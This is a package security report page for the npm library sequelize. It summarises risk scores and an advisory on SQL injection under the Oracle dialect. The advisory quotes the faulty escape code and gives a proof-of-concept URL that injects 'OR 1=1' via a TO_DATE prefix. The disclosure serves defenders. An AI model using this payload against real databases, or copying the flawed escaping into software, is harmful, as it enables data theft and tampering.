npm package report

Is sequelize safe?

18 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    101 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    9.8
    critical

    CVSS v3.1 base score out of 10

    epss
    0.54%
    medium

    chance of exploitation in 30 days, 46th percentile of all CVEs

    xyz score
    5.2
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-v8fg-2rw7-q452, the advisory selected below

    // 18 advisories

    GHSA-v8fg-2rw7-q452

    CRITICALOSV ratingCVE-2026-69240
    // summary

    SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

    // details

    The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

      } else if (dialect === 'oracle' && typeof val === 'string') {
        if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
          return val;
        }
        val = val.replace(/'/g, "''");
      }
    // poc

    Suppose the application has the following code:

      var result = await models.Student.findOne({
        where: {
          firstName: req.query.firstName
        }
      });

    An attacker can inject arbitrary sql expressions.

    http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

    The resulted SQL will be:

    SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
    // impact

    Data theft and tampering.

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-11-06 at 21:57 UTC. The most recent advisory here was published 2026-08-03. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.